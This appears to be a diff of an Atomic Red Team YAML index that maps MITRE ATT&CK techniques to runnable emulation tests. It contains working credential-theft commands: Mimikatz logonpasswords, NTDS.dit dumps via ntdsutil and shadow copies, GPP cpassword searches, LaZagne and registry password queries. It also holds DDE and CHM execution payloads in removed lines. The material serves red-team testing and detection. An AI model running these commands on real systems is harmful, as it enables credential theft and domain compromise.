Adversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017) - x_mitre_permissions_required: - - User - identifier: T1223 - atomic_tests: - - name: Compiled HTML Help Local Payload - description: 'Uses hh.exe to execute a local compiled HTML Help payload. + 3. Obtain Credentials: + Within the Mimikatz interactive shell, execute `sekurlsa::logonpasswords full` + - name: Dump Active Directory Database with NTDSUtil + description: | + The Active Directory database NTDS.dit may be dumped using NTDSUtil for offline credential theft attacks. This capability + uses the "IFM" or "Install From Media" backup functionality that allows Active Directory restoration or installation of + subsequent domain controllers without the need of network-based replication. + supported_platforms: + - windows + input_arguments: + output_folder: + description: Path where resulting dump should be placed + type: Path + default: C:\Atomic_Red_Team + executor: + name: command_prompt + elevation_required: true + command: 'ntdsutil "ac i ntds" "ifm" "create full #{output_folder}" q q + +' + - name: Create Volume Shadow Copy with NTDS.dit + description: 'The Active Directory database NTDS.dit may be dumped by copying + it from a Volume Shadow Copy. + +' + supported_platforms: + - windows + input_arguments: + drive_letter: + description: Drive letter to source VSC (including colon) + type: String + default: 'C:' + executor: + name: command_prompt + elevation_required: true + command: 'vssadmin.exe create shadow /for=#{drive_letter} + +' + - name: Copy NTDS.dit from Volume Shadow Copy + description: "The Active Directory database NTDS.dit may be dumped by copying + it from a Volume Shadow Copy.\n\nThis test requires steps taken in the test + \"Create Volume Shadow Copy with NTDS.dit\".\nA successful test also requires + the export of the SYSTEM Registry hive. \nThis test must be executed on a + Windows Domain Controller.\n" + supported_platforms: + - windows + input_arguments: + vsc_name: + description: Name of Volume Shadow Copy + type: String + default: "\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1" + extract_path: + description: Path for extracted NTDS.dit + type: Path + default: C:\Extract + executor: + name: command_prompt + elevation_required: true + command: | + copy #{vsc_name}\Windows\NTDS\NTDS.dit #{extract_path}\ntds.dit + copy #{vsc_name}\Windows\System32\config\SYSTEM #{extract_path}\VSC_SYSTEM_HIVE + reg save HKLM\SYSTEM #{extract_path}\SYSTEM_HIVE + - name: GPP Passwords (findstr) + description: 'Look for the encrypted cpassword value within Group Policy Preference + files on the Domain Controller. This value can be decrypted with gpp-decrypt + on Kali Linux. ' supported_platforms: - windows - input_arguments: - local_chm_file: - description: Local .chm payload - type: path - default: C:\atomic-red-team\atomics\T1223\src\T1223.chm executor: name: command_prompt elevation_required: false - command: 'hh.exe #{local_chm_file} + command: 'findstr /S cpassword %logonserver%\sysvol\*.xml ' - - name: Compiled HTML Help Remote Payload - description: 'Uses hh.exe to execute a remote compiled HTML Help payload. + - name: GPP Passwords (Get-GPPPassword) + description: 'Look for the encrypted cpassword value within Group Policy Preference + files on the Domain Controller. ' supported_platforms: - windows input_arguments: - remote_chm_file: - description: Remote .chm payload - type: url - default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1223/src/T1223.chm + gpp_script_path: + description: Path to the Get-GPPPassword PowerShell Script + type: Path + default: "$PathToAtomicsFolder\\T1003\\src\\Get-GPPPassword.ps1" executor: - name: command_prompt + name: powershell elevation_required: false - command: 'hh.exe #{remote_chm_file} - -' - T1196: + command: | + . #{gpp_script_path} + Get-GPPPassword -Verbose + T1081: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1196 - source_name: mitre-attack - external_id: T1196 - - url: https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx - source_name: Microsoft Implementing CPL - description: M. (n.d.). Implementing Control Panel Items. Retrieved January - 18, 2018. - - url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf - source_name: TrendMicro CPL Malware Jan 2014 - description: Mercês, F. (2014, January 27). CPL Malware - Malicious Control - Panel Items. Retrieved January 18, 2018. - - url: https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/ - source_name: TrendMicro CPL Malware Dec 2013 - description: Bernardino, J. (2013, December 17). Control Panel Files Used - As Malicious Attachments. Retrieved January 18, 2018. - - url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/ - source_name: Palo Alto Reaver Nov 2017 - description: Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New - Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_permissions_required: - User - Administrator - SYSTEM x_mitre_data_sources: - - API monitoring - - Binary file metadata - - DLL monitoring - - Windows Registry - - Windows event logs + - File monitoring - Process command-line parameters - - Process monitoring - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: |- - Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1085) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1085) command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014) - - Inventory Control Panel items to locate unregistered and potentially malicious files present on systems: - - * Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace and HKEY_CLASSES_ROOT\CLSID\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL) - * CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the Cpls and Extended Properties Registry keys of HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec("c:\windows\system32\control.exe {Canonical_Name}", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}). (Citation: Microsoft Implementing CPL) - * Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Controls Folder\{name}\Shellex\PropertySheetHandlers where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL) - - Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014) - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack - id: attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e - name: Control Panel Items - created: '2018-04-18T17:59:24.739Z' - x_mitre_version: '1.0' - x_mitre_remote_support: false - type: attack-pattern - description: |- - Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) - - For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL) - - Adversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting. - x_mitre_defense_bypassed: - - Application whitelisting - - Process whitelisting - identifier: T1196 - atomic_tests: - - name: Control Panel Items - description: 'This test simulates an adversary leveraging control.exe to execute - a payload and pops calc - -' - supported_platforms: - - windows - input_arguments: - cpl_file_path: - description: path to cpl file - type: path - default: calc.cpl - executor: - name: command_prompt - elevation_required: false - command: 'control.exe #{cpl_file_path} - -' - T1173: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1173 - source_name: mitre-attack - external_id: T1173 - - url: https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/ - source_name: BleepingComputer DDE Disabled in Word Dec 2017 - description: Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature - in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017. - - url: https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021 - source_name: Microsoft ADV170021 Dec 2017 - description: Microsoft. (2017, December 12). ADV170021 - Microsoft Office - Defense in Depth Update. Retrieved February 3, 2018. - - url: https://technet.microsoft.com/library/security/4053440 - source_name: Microsoft DDE Advisory Nov 2017 - description: Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - - Securely opening Microsoft Office documents that contain Dynamic Data - Exchange (DDE) fields. Retrieved November 21, 2017. - - url: https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/ - source_name: SensePost PS DDE May 2016 - description: El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The - Power Within. Retrieved November 22, 2017. - - url: https://www.contextis.com/blog/comma-separated-vulnerabilities - source_name: Kettle CSV DDE Aug 2014 - description: Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. - Retrieved November 22, 2017. - - url: https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee - source_name: Enigma Reviving DDE Jan 2018 - description: 'Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and - Excel for Code Execution. Retrieved February 3, 2018.' - - url: https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ - source_name: SensePost MacroLess DDE Oct 2017 - description: Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code - Exec in MSWord. Retrieved November 21, 2017. - - url: https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/ - source_name: NVisio Labs DDE Detection Oct 2017 - description: NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. - Retrieved November 21, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_data_sources: - - API monitoring - - DLL monitoring - - Process monitoring - - Windows Registry - - Windows event logs - modified: '2019-02-01T14:27:48.056Z' - x_mitre_detection: |- - OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017) - - Monitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application. - - Monitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: execution - kill_chain_name: mitre-attack - id: attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0 - name: Dynamic Data Exchange - created: '2018-01-16T16:13:52.465Z' - x_mitre_version: '1.1' - x_mitre_remote_support: false - type: attack-pattern - description: |- - Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution. - - Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017) - - Adversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution. - x_mitre_permissions_required: - - User - identifier: T1173 - atomic_tests: - - name: Execute Commands - description: 'Executes commands via DDE using Microsfot Word - -' - supported_platforms: - - windows - executor: - name: manual - steps: | - Open Microsoft Word - - Insert tab -> Quick Parts -> Field - - Choose = (Formula) and click ok. - - After that, you should see a Field inserted in the document with an error "!Unexpected End of Formula", right-click the Field, and choose Toggle Field Codes. + name: Credentials in Files + description: |+ + Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. - The Field Code should now be displayed, change it to Contain the following: + It is possible to extract passwords from backups or saved virtual machines through [Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP) - {DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" } - '': - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1204 - source_name: mitre-attack - external_id: T1204 - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_data_sources: - - Anti-virus - - Process command-line parameters - - Process monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads. + In cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage) - Anti-virus can potentially detect malicious documents and files that are downloaded and execuited on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064). - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + id: attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c x_mitre_platforms: - Linux - - Windows - macOS - kill_chain_phases: - - phase_name: execution - kill_chain_name: mitre-attack - id: attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5 - name: User Execution - created: '2018-04-18T17:59:24.739Z' - x_mitre_version: '1.0' - type: attack-pattern - description: An adversary may rely upon specific actions by a user in order - to gain execution. This may be direct code execution, such as when a user - opens a malicious executable delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) - with the icon and apparent extension of a document file. It also may lead - to other execution techniques, such as when a user clicks on a link delivered - via [Spearphishing Link](https://attack.mitre.org/techniques/T1192) that leads - to exploitation of a browser or application vulnerability via [Exploitation - for Client Execution](https://attack.mitre.org/techniques/T1203). While User - Execution frequently occurs shortly after Initial Access it may occur at other - phases of an intrusion, such as when an adversary places a file in a shared - directory or on a user's desktop hoping that a user will click on it. - x_mitre_permissions_required: - - User - atomic_tests: [] - T1118: - technique: - external_references: - - external_id: T1118 - source_name: mitre-attack - url: https://attack.mitre.org/techniques/T1118 - - url: https://msdn.microsoft.com/en-us/library/50614e95.aspx - source_name: MSDN InstallUtil - description: Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved - July 1, 2016. - - source_name: SubTee GitHub All The Things Application Whitelisting Bypass - description: Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ - Application Control Bypass Techniques in One File. Retrieved June 30, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Casey Smith - - Travis Smith, Tripwire - x_mitre_data_sources: - - Process monitoring - - Process command-line parameters - modified: '2019-02-05T23:13:50.632Z' - x_mitre_detection: Use process monitoring to monitor the execution and arguments - of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior - history of known good arguments and executed binaries to determine anomalous - and potentially adversarial activity. Command arguments used before and after - the InstallUtil.exe invocation may also be useful in determining the origin - and purpose of the binary being executed. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Process whitelisting - - Digital Certificate Validation - id: attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b - name: InstallUtil - created: '2017-05-31T21:31:27.510Z' + - AWS + - GCP + - Azure + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.1' - x_mitre_remote_support: false + x_mitre_system_requirements: + - Access to files type: attack-pattern - description: |- - InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft. - - Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass) - x_mitre_permissions_required: - - User - identifier: T1118 + x_mitre_detection: 'While detecting adversaries accessing these files may be + difficult without knowing they exist in the first place, it may be possible + to detect adversary use of credentials they have obtained. Monitor the command-line + arguments of executing processes for suspicious words or regular expressions + that may indicate searching for a password (for example: password, pwd, login, + secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) + for more information.' + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Microsoft Threat Intelligence Center (MSTIC) + created: '2017-05-31T21:31:02.188Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: credential-access + external_references: + - external_id: T1081 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1081 + - source_name: capec + external_id: CAPEC-639 + url: https://capec.mitre.org/data/definitions/639.html + - source_name: CG 2014 + description: CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part + 1. Retrieved November 12, 2014. + url: http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html + - source_name: SRD GPP + description: 'Security Research and Defense. (2014, May 13). MS14-025: An + Update for Group Policy Preferences. Retrieved January 28, 2015.' + url: http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx + - description: Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved + October 4, 2019. + source_name: Specter Ops - Cloud Credential Storage + url: https://posts.specterops.io/head-in-the-clouds-bd038bb69e48 + modified: '2019-10-08T19:24:28.773Z' + identifier: T1081 atomic_tests: - - name: InstallUtil uninstall method call - description: 'Executes the Uninstall Method + - name: Extract Browser and System credentials with LaZagne + description: "[LaZagne Source](https://github.com/AlessandroZ/LaZagne)\n" + supported_platforms: + - macos + executor: + name: sh + command: 'python2 laZagne.py all + +' + - name: Extract passwords with grep + description: 'Extracting credentials from files + +' + input_arguments: + file_path: + description: Path to search + type: String + default: "/" + supported_platforms: + - macos + - linux + executor: + name: sh + command: 'grep -ri password #{file_path} + +' + - name: Runs Mimikatz & Mimikittenz by name + description: 'Mimikatz/kittenz - This will require a Mimikatz executable or + invoke-mimikittenz ps module. ' supported_platforms: - windows - input_arguments: - filename: - description: location of the payload - type: Path - default: C:\AtomicRedTeam\atomics\T1118\src\T1118.dll executor: - name: command_prompt + name: powershell + elevation_required: true + command: | + invoke-mimikittenz + mimikatz.exe + - name: Extracting passwords with findstr + description: 'Extracting Credentials from Files + +' + supported_platforms: + - windows + executor: + name: powershell elevation_required: false - command: "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /target:library - /out:C:\\AtomicRedTeam\\atomics\\T1118\\src\\T1118.dll C:\\AtomicRedTeam\\atomics\\T1118\\src\\T1118.cs - \nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe /logfile= - /LogToConsole=false /U #{filename}\n" - - name: InstallUtil GetHelp method call - description: 'Executes the Uninstall Method + command: | + findstr /si pass *.xml | *.doc | *.txt | *.xls + ls -R | select-string -Pattern password + - name: Access "unattend.xml" + description: 'Attempts to access unattend.xml, where credentials are commonly + stored, within the Panther directory where installation logs are stored. ' supported_platforms: - windows - input_arguments: - filename: - description: location of the payload - type: Path - default: C:\AtomicRedTeam\atomics\T1118\src\T1118.dll executor: name: command_prompt - elevation_required: false - command: "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /target:library - /out:C:\\AtomicRedTeam\\atomics\\T1118\\src\\T1118.dll C:\\AtomicRedTeam\\atomics\\T1118\\src\\T1118.cs - \nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe /? - #{filename}\n" - T1152: + elevation_required: true + command: | + cmd /c type C:\Windows\Panther\unattend.xml > nul 2>&1 + cmd /c type C:\Windows\Panther\Unattend\unattend.xml > nul 2>&1 + T1214: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1152 - source_name: mitre-attack - external_id: T1152 - - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ - source_name: Sofacy Komplex Trojan - description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). - Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_permissions_required: - User - Administrator x_mitre_data_sources: - - File monitoring - - Process monitoring + - Windows Registry - Process command-line parameters - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: Knock Knock can be used to detect persistent programs such - as those installed via launchctl as launch agents or launch daemons. Additionally, - every launch agent or launch daemon must have a corresponding plist file on - disk somewhere which can be monitored. Monitor process execution from launchctl/launchd - for unusual or unknown processes. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - Process monitoring + name: Credentials in Registry + description: |- + The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons. + + Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials) + + * Local Machine Hive: reg query HKLM /f password /t REG_SZ /s + * Current User Hive: reg query HKCU /f password /t REG_SZ /s + id: attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286 x_mitre_platforms: - - macOS - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee - name: Launchctl - created: '2017-12-14T16:46:06.044Z' + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' - x_mitre_remote_support: false + x_mitre_system_requirements: + - Ability to query some Registry locations depends on the adversary's level + of access. User permissions are usually limited to access of user-related + Registry keys. type: attack-pattern - description: "Launchctl controls the macOS launchd process which handles things - like launch agents and launch daemons, but can execute other commands or programs - itself. Launchctl supports taking subcommands on the command-line, interactively, - or even redirected from standard input. By loading or reloading launch agents - or launch daemons, adversaries can install persistence or execute changes - they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl - is as simple as launchctl submit -l -- /Path/to/thing/to/execute - \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents - or launch daemons can require elevated privileges. \n\nAdversaries can abuse - this functionality to execute code or even bypass whitelisting if launchctl - is an allowed process." - x_mitre_defense_bypassed: - - Application whitelisting - - Process whitelisting - - Whitelisting by file name or path - identifier: T1152 + x_mitre_detection: Monitor processes for applications that can be used to query + the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and + collect command parameters that may indicate credentials are being searched. + Correlate activity with related suspicious behavior that may indicate an active + intrusion to reduce false positives. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Sudhanshu Chauhan, @Sudhanshu_C + created: '2018-04-18T17:59:24.739Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: credential-access + external_references: + - external_id: T1214 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1214 + - source_name: Pentestlab Stored Credentials + description: netbiosX. (2017, April 19). Stored Credentials. Retrieved April + 6, 2018. + url: https://pentestlab.blog/2017/04/19/stored-credentials/ + modified: '2019-07-17T16:02:42.791Z' + identifier: T1214 atomic_tests: - - name: Launchctl - description: 'Utilize launchctl + - name: Enumeration for Credentials in Registry + description: 'Queries to enumerate for credentials in the Registry. ' supported_platforms: - - macos + - windows executor: - name: sh - command: 'launchctl submit -l evil -- /Applications/Calculator.app/Contents/MacOS/Calculator - -' - T1168: + name: command_prompt + elevation_required: false + command: | + reg query HKLM /f password /t REG_SZ /s + reg query HKCU /f password /t REG_SZ /s + T1179: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1168 - source_name: mitre-attack - external_id: T1168 - - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html - source_name: AppleDocs Scheduling Timed Jobs - description: Apple. (n.d.). Retrieved July 17, 2017. - - url: http://www.thesafemac.com/new-signed-malware-called-janicab/ - source_name: Janicab - description: Thomas. (2013, July 15). New signed malware called Janicab. Retrieved - July 17, 2017. - - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - source_name: Methods of Mac Malware Persistence - description: Patrick Wardle. (2014, September). Methods of Malware Persistence - on Mac OS X. Retrieved July 5, 2017. - - url: https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf - source_name: Malware Persistence on OS X - description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. - Retrieved July 10, 2017. - - url: https://linux.die.net/man/5/crontab - source_name: Die.net Linux crontab Man Page - description: Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December - 19, 2017. - - url: https://linux.die.net/man/1/at - source_name: Die.net Linux at Man Page - description: Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December - 19, 2017. - - url: https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/ - source_name: Avast Linux Trojan Cron Persistence - description: Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan - hiding itself with an embedded rootkit. Retrieved January 8, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Anastasios Pingios x_mitre_data_sources: - - File monitoring + - API monitoring + - Binary file metadata + - DLL monitoring + - Loaded DLLs - Process monitoring - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: Legitimate scheduled jobs may be created during installation - of new software or through administration functions. Jobs scheduled with launchd - and cron can be monitored from their respective utilities to list out detailed - information about the jobs. Monitor process execution resulting from launchd - and cron tasks to look for unusual or unknown applications and behavior. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - Windows event logs + x_mitre_permissions_required: + - Administrator + - SYSTEM + name: Hooking + description: "Windows processes often leverage application programming interface + (API) functions to perform tasks that require reusable system resources. Windows + API functions are typically stored in dynamic-link libraries (DLLs) as exported + functions. \n\nHooking involves redirecting calls to these functions and can + be implemented via:\n\n* **Hooks procedures**, which intercept and execute + designated code in response to events such as messages, keystrokes, and mouse + inputs. (Citation: Microsoft Hook Overview) (Citation: Endgame Process Injection + July 2017)\n* **Import address table (IAT) hooking**, which use modifications + to a process’s IAT, where pointers to imported API functions are stored. (Citation: + Endgame Process Injection July 2017) (Citation: Adlice Software IAT Hooks + Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, + which overwrites the first bytes in an API function to redirect code flow. + (Citation: Endgame Process Injection July 2017) (Citation: HighTech Bridge + Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar + to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries + may use hooking to load and execute malicious code within the context of another + process, masking the execution while also allowing access to the process's + memory and possibly elevated privileges. Installing hooking mechanisms may + also provide Persistence via continuous invocation when the functions are + called through normal use.\n\nMalicious hooking mechanisms may also capture + API calls that include parameters that reveal user authentication credentials + for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept + 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s + to conceal files, processes, Registry keys, and other objects in order to + hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)" + id: attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5 x_mitre_platforms: - - Linux - - macOS - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack - id: attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8 - name: Local Job Scheduling - created: '2017-12-14T16:46:06.044Z' + - Windows + 